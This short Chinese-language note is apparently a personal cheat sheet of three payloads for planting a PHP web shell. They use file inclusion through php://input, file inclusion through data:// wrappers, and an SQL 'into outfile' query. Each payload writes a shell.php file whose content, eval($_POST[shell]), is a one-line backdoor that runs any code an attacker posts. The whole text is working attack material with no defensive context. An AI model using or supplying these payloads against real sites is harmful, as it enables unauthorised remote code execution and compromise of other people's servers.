文件包含php://input后
抓包数据部分添加<?php fwrite(fopen('shell.php','w'),'<?php eval($_POST[shell]);?>‘);?>
2.文件包含data://text/plain,数据或data://text/plain;base64,编码后数据
数据部分添加<?php fwrite(fopen('shell.php','w'),'<?php eval($_POST[shell]);?>’);?>
3.sql写入木马
select ‘<?=@eval($_POST[shell])?>’ into outfile ‘/tmp/shell.php’